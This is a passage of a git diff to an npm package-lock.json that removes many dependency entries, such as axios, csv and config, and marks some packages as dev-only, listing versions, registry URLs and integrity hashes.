+- "integrity": "sha1-p5SvDAWrF1KEbudTofIRoFugxE8="
+- },
+ "array-flatten": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
+@@ -46596,11 +37870,6 @@
+ "is-string": "^1.0.7"
+ }
+ },
+- "array-slice": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz",
+- "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w=="
+- },
+ "array-union": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz",
+@@ -46614,11 +37883,6 @@
+ "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz",
+ "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY="
+ },
+- "array-unique": {
+- "version": "0.3.2",
+- "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+- "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg="
+- },
+ "array.prototype.flat": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz",
+@@ -46672,11 +37936,6 @@
+ "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==",
+ "dev": true
+ },
+- "assign-symbols": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
+- "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c="
+- },
+ "ast-types-flow": {
+ "version": "0.0.7",
+ "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
+@@ -46694,11 +37953,6 @@
+ "resolved": "https://registry.npmjs.org/async/-/async-3.2.2.tgz",
+ "integrity": "sha512-H0E+qZaDEfx/FY4t7iLRv1W2fFI6+pyCeTw1uN20AQPiwqwM6ojPxHxdLv4z8hi2DtnW9BOckSspLucW7pIE5g=="
+ },
+- "async-limiter": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
+- "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ=="
+- },
+ "async-listener": {
+ "version": "0.6.10",
+ "resolved": "https://registry.npmjs.org/async-listener/-/async-listener-0.6.10.tgz",
+@@ -46731,17 +37985,8 @@
+ "at-least-node": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
+- "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg=="
+- },
+- "atob": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+- "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg=="
+- },
+- "auth0-id-generator": {
+- "version": "0.2.0",
+- "resolved": "https://registry.npmjs.org/auth0-id-generator/-/auth0-id-generator-0.2.0.tgz",
+- "integrity": "sha512-sJVZrGls/XB7TEsAovv6GsGwsjDBhBy014w+9x/DNZH8OTV8F/uioMmT68ADWtfbvfkJaNCYNjRs1dOVFyNqbQ=="
++ "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
++ "dev": true
+ },
+ "autolinker": {
+ "version": "0.28.1",
+@@ -46820,14 +38065,6 @@
+ "integrity": "sha512-WKTW1+xAzhMS5dJsxWkliixlO/PqC4VhmO9T4juNYcaTg9jzWiJsou6m5pxWYGfigWbwzJWeFY6z47a+4neRXA==",
+ "dev": true
+ },
+- "axios": {
+- "version": "0.21.4",
+- "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz",
+- "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==",
+- "requires": {
+- "follow-redirects": "^1.14.0"
+- }
+- },
+ "axobject-query": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz",
+@@ -46965,72 +38202,11 @@
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+ },
+- "base": {
+- "version": "0.11.2",
+- "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
+- "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
+- "requires": {
+- "cache-base": "^1.0.1",
+- "class-utils": "^0.3.5",
+- "component-emitter": "^1.2.1",
+- "define-property": "^1.0.0",
+- "isobject": "^3.0.1",
+- "mixin-deep": "^1.2.0",
+- "pascalcase": "^0.1.1"
+- },
+- "dependencies": {
+- "define-property": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+- "requires": {
+- "is-descriptor": "^1.0.0"
+- }
+- }
+- }
+- },
+ "base64-js": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+ "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="
+ },
+- "base64-stream": {
+- "version": "0.1.5",
+- "resolved": "https://registry.npmjs.org/base64-stream/-/base64-stream-0.1.5.tgz",
+- "integrity": "sha512-j3OFbLDb8Wy0SM7HrP1zj8ADVHqaKoL8VNrDnd7wedkoz5onf9le2DgOsCdmg8QQPnUPXd7LLCjGnYAk/YDBFg==",
+- "requires": {
+- "readable-stream": "^2.0.2"
+- },
+- "dependencies": {
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "requires": {
+- "safe-buffer": "~5.1.0"
+- }
+- }
+- }
+- },
+ "base64id": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/base64id/-/base64id-0.1.0.tgz",
+@@ -47082,11 +38258,6 @@
+ "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz",
+ "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg=="
+ },
+- "big.js": {
+- "version": "6.1.1",
+- "resolved": "https://registry.npmjs.org/big.js/-/big.js-6.1.1.tgz",
+- "integrity": "sha512-1vObw81a8ylZO5ePrtMay0n018TcftpTA5HFKDaSuiUDBo8biRBtjIobw60OpwuvrGk+FsxKamqN4cnmj/eXdg=="
+- },
+ "bignumber.js": {
+ "version": "9.0.2",
+ "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.2.tgz",
+@@ -47334,11 +38505,6 @@
+ "resolved": "https://registry.npmjs.org/bson/-/bson-1.1.6.tgz",
+ "integrity": "sha512-EvVNVeGo4tHxwi8L6bPj3y3itEvStdwvvlojVxxbyYfoaxJ6keLgrTuKdyfEAszFK+H3olzBuafE0yoh0D1gdg=="
+ },
+- "btoa": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/btoa/-/btoa-1.2.1.tgz",
+- "integrity": "sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g=="
+- },
+ "buffer": {
+ "version": "4.9.2",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
+@@ -47388,11 +38554,6 @@
+ "resolved": "https://registry.npmjs.org/buffer-indexof-polyfill/-/buffer-indexof-polyfill-1.0.2.tgz",
+ "integrity": "sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A=="
+ },
+- "buffer-writer": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/buffer-writer/-/buffer-writer-2.0.0.tgz",
+- "integrity": "sha512-a7ZpuTZU1TRtnwyCNW3I5dc0wWNC3VR9S++Ewyk2HHZdrO3CQJqSpd+95Us590V6AL7JqUAH2IwZ/398PmNFgw=="
+- },
+ "bufferedstream": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/bufferedstream/-/bufferedstream-1.6.0.tgz",
+@@ -47535,11 +38696,6 @@
+ }
+ }
+ },
+- "byline": {
+- "version": "4.2.2",
+- "resolved": "https://registry.npmjs.org/byline/-/byline-4.2.2.tgz",
+- "integrity": "sha1-wgOpilsCkIIqk4anjtosvVvNsy8="
+- },
+ "bytes": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+@@ -47597,22 +38753,6 @@
+ }
+ }
+ },
+- "cache-base": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
+- "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
+- "requires": {
+- "collection-visit": "^1.0.0",
+- "component-emitter": "^1.2.1",
+- "get-value": "^2.0.6",
+- "has-value": "^1.0.0",
+- "isobject": "^3.0.1",
+- "set-value": "^2.0.0",
+- "to-object-path": "^0.3.0",
+- "union-value": "^1.0.0",
+- "unset-value": "^1.0.0"
+- }
+- },
+ "cache-flow": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/cache-flow/-/cache-flow-1.8.0.tgz",
+@@ -47645,40 +38785,6 @@
+ }
+ }
+ },
+- "cacheable-request": {
+- "version": "6.1.0",
+- "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
+- "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
+- "requires": {
+- "clone-response": "^1.0.2",
+- "get-stream": "^5.1.0",
+- "http-cache-semantics": "^4.0.0",
+- "keyv": "^3.0.0",
+- "lowercase-keys": "^2.0.0",
+- "normalize-url": "^4.1.0",
+- "responselike": "^1.0.2"
+- },
+- "dependencies": {
+- "get-stream": {
+- "version": "5.2.0",
+- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
+- "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+- "requires": {
+- "pump": "^3.0.0"
+- }
+- },
+- "lowercase-keys": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
+- "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
+- },
+- "normalize-url": {
+- "version": "4.5.1",
+- "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz",
+- "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA=="
+- }
+- }
+- },
+ "cachedir": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz",
+@@ -47736,24 +38842,8 @@
+ "camelcase": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+- "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA=="
+- },
+- "camelcase-keys": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-4.2.0.tgz",
+- "integrity": "sha1-oqpfsa9oh1glnDLBQUJteJI7m3c=",
+- "requires": {
+- "camelcase": "^4.1.0",
+- "map-obj": "^2.0.0",
+- "quick-lru": "^1.0.0"
+- },
+- "dependencies": {
+- "camelcase": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
+- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0="
+- }
+- }
++ "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
++ "dev": true
+ },
+ "camelize": {
+ "version": "1.0.0",
+@@ -47791,17 +38881,6 @@
+ "lodash": "^4.17.15"
+ }
+ },
+- "celebrate": {
+- "version": "12.2.0",
+- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-12.2.0.tgz",
+- "integrity": "sha512-dkcQaUL4zrPOua/NwTM74jf/NY3wv9Fyb1mkC2ru75KRHowSIDe/tJtIG9yRyPyFCfkr1odif8zNQq23eTwEYg==",
+- "requires": {
+- "@hapi/joi": "17.x.x",
+- "@types/hapi__joi": "17.x.x",
+- "escape-html": "1.0.3",
+- "lodash": "4.17.x"
+- }
+- },
+ "chai": {
+ "version": "4.3.6",
+ "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz",
+@@ -47835,21 +38914,6 @@
+ "fclone": "^1.0.11"
+ }
+ },
+- "chai-http": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/chai-http/-/chai-http-4.3.0.tgz",
+- "integrity": "sha512-zFTxlN7HLMv+7+SPXZdkd5wUlK+KxH6Q7bIEMiEx0FK3zuuMqL7cwICAQ0V1+yYRozBburYuxN1qZstgHpFZQg==",
+- "dev": true,
+- "requires": {
+- "@types/chai": "4",
+- "@types/superagent": "^3.8.3",
+- "cookiejar": "^2.1.1",
+- "is-ip": "^2.0.0",
+- "methods": "^1.1.2",
+- "qs": "^6.5.1",
+- "superagent": "^3.7.0"
+- }
+- },
+ "chainsaw": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz",
+@@ -47908,11 +38972,6 @@
+ "integrity": "sha1-FCD/sQ/URNz8ebQ4kbv//TKoRgA=",
+ "dev": true
+ },
+- "check-types": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/check-types/-/check-types-5.1.0.tgz",
+- "integrity": "sha1-NzlN07YEKlEVXpJsOpF1PUmeXcg="
+- },
+ "cheerio": {
+ "version": "1.0.0-rc.10",
+ "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz",
+@@ -47972,78 +39031,6 @@
+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
+ "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
+ },
+- "class-utils": {
+- "version": "0.3.6",
+- "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
+- "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
+- "requires": {
+- "arr-union": "^3.1.0",
+- "define-property": "^0.2.5",
+- "isobject": "^3.0.0",
+- "static-extend": "^0.1.1"
+- },
+- "dependencies": {
+- "define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "requires": {
+- "is-descriptor": "^0.1.0"
+- }
+- },
+- "is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "requires": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- }
+- },
+- "kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+- }
+- }
+- },
+ "classnames": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz",
+@@ -48075,33 +39062,12 @@
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz",
+ "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=",
++ "dev": true,
+ "requires": {
+ "exit": "0.1.2",
+ "glob": "^7.1.1"
+ }
+ },
+- "cli-color": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-1.4.0.tgz",
+- "integrity": "sha512-xu6RvQqqrWEo6MPR1eixqGPywhYBHRs653F9jfXB2Hx4jdM/3WxiNE1vppRmxtMIfl16SFYTpYlrnqH/HsK/2w==",
+- "dev": true,
+- "requires": {
+- "ansi-regex": "^2.1.1",
+- "d": "1",
+- "es5-ext": "^0.10.46",
+- "es6-iterator": "^2.0.3",
+- "memoizee": "^0.4.14",
+- "timers-ext": "^0.1.5"
+- },
+- "dependencies": {
+- "ansi-regex": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+- "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=",
+- "dev": true
+- }
+- }
+- },
+ "cli-cursor": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
+@@ -48186,14 +39152,6 @@
+ "shallow-clone": "^3.0.0"
+ }
+ },
+- "clone-response": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
+- "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
+- "requires": {
+- "mimic-response": "^1.0.0"
+- }
+- },
+ "clone-stats": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz",
+@@ -48243,15 +39201,6 @@
+ }
+ }
+ },
+- "cls-bluebird": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/cls-bluebird/-/cls-bluebird-2.1.0.tgz",
+- "integrity": "sha1-N+8eCAqP+1XC9BZPU28ZGeeWiu4=",
+- "requires": {
+- "is-bluebird": "^1.0.2",
+- "shimmer": "^1.1.0"
+- }
+- },
+ "cluster": {
+ "version": "0.7.7",
+ "resolved": "https://registry.npmjs.org/cluster/-/cluster-0.7.7.tgz",
+@@ -48313,15 +39262,6 @@
+ "stream-via": "^1.0.4"
+ }
+ },
+- "collection-visit": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
+- "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=",
+- "requires": {
+- "map-visit": "^1.0.0",
+- "object-visit": "^1.0.0"
+- }
+- },
+ "color-alpha": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-alpha/-/color-alpha-1.1.3.tgz",
+@@ -48364,11 +39304,6 @@
+ "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==",
+ "dev": true
+ },
+- "colorette": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz",
+- "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw=="
+- },
+ "colors": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz",
+@@ -48488,7 +39423,8 @@
+ "component-emitter": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
+- "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg=="
++ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
++ "dev": true
+ },
+ "compress-commons": {
+ "version": "4.1.1",
+@@ -48592,39 +39528,6 @@
+ }
+ }
+ },
+- "config": {
+- "version": "1.31.0",
+- "resolved": "https://registry.npmjs.org/config/-/config-1.31.0.tgz",
+- "integrity": "sha512-Ep/l9Rd1J9IPueztJfpbOqVzuKHQh4ZODMNt9xqTYdBBNRXbV4oTu34kCkkfdRVcDq0ohtpaeXGgb+c0LQxFRA==",
+- "requires": {
+- "json5": "^1.0.1"
+- },
+- "dependencies": {
+- "json5": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+- "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+- "requires": {
+- "minimist": "^1.2.0"
+- }
+- },
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- }
+- }
+- },
+- "config-chain": {
+- "version": "1.1.13",
+- "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.13.tgz",
+- "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==",
+- "dev": true,
+- "requires": {
+- "ini": "^1.3.4",
+- "proto-list": "~1.2.1"
+- }
+- },
+ "config-master": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/config-master/-/config-master-3.1.0.tgz",
+@@ -48862,11 +39765,6 @@
+ "integrity": "sha512-Alvs19Vgq07eunykd3Xy2jF0/qSNv2u7KDbAek9H5liV1UMijbqFs5cycZvv5dVsvseT/U4H8/7/w8Koh35C4A==",
+ "dev": true
+ },
+- "cookiejar": {
+- "version": "2.1.3",
+- "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz",
+- "integrity": "sha512-JxbCBUdrfr6AQjOXrxoTvAMJO4HBTUIlBzslcJPAz+/KT8yk53fXun51u+RenNYvad/+Vc2DIz5o9UxlCDymFQ=="
+- },
+ "copy-anything": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-2.0.6.tgz",
+@@ -48876,11 +39774,6 @@
+ "is-what": "^3.14.1"
+ }
+ },
+- "copy-descriptor": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
+- "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40="
+- },
+ "core-js": {
+ "version": "3.21.1",
+ "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.21.1.tgz",
+@@ -48974,14 +39867,6 @@
+ "moment-timezone": "^0.5.31"
+ }
+ },
+- "cross-fetch": {
+- "version": "3.1.5",
+- "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz",
+- "integrity": "sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==",
+- "requires": {
+- "node-fetch": "2.6.7"
+- }
+- },
+ "cross-spawn": {
+ "version": "7.0.3",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
+@@ -49139,47 +40024,6 @@
+ }
+ }
+ },
+- "csv": {
+- "version": "5.5.3",
+- "resolved": "https://registry.npmjs.org/csv/-/csv-5.5.3.tgz",
+- "integrity": "sha512-QTaY0XjjhTQOdguARF0lGKm5/mEq9PD9/VhZZegHDIBq2tQwgNpHc3dneD4mGo2iJs+fTKv5Bp0fZ+BRuY3Z0g==",
+- "requires": {
+- "csv-generate": "^3.4.3",
+- "csv-parse": "^4.16.3",
+- "csv-stringify": "^5.6.5",
+- "stream-transform": "^2.1.3"
+- }
+- },
+- "csv-generate": {
+- "version": "3.4.3",
+- "resolved": "https://registry.npmjs.org/csv-generate/-/csv-generate-3.4.3.tgz",
+- "integrity": "sha512-w/T+rqR0vwvHqWs/1ZyMDWtHHSJaN06klRqJXBEpDJaM/+dZkso0OKh1VcuuYvK3XM53KysVNq8Ko/epCK8wOw=="
+- },
+- "csv-parse": {
+- "version": "4.16.3",
+- "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-4.16.3.tgz",
+- "integrity": "sha512-cO1I/zmz4w2dcKHVvpCr7JVRu8/FymG5OEpmvsZYlccYolPBLoVGKUHgNoc4ZGkFeFlWGEDmMyBM+TTqRdW/wg=="
+- },
+- "csv-parser": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/csv-parser/-/csv-parser-3.0.0.tgz",
+- "integrity": "sha512-s6OYSXAK3IdKqYO33y09jhypG/bSDHPuyCme/IdEHfWpLf/jKcpitVFyOC6UemgGk8v7Q5u2XE0vvwmanxhGlQ==",
+- "requires": {
+- "minimist": "^1.2.0"
+- },
+- "dependencies": {
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
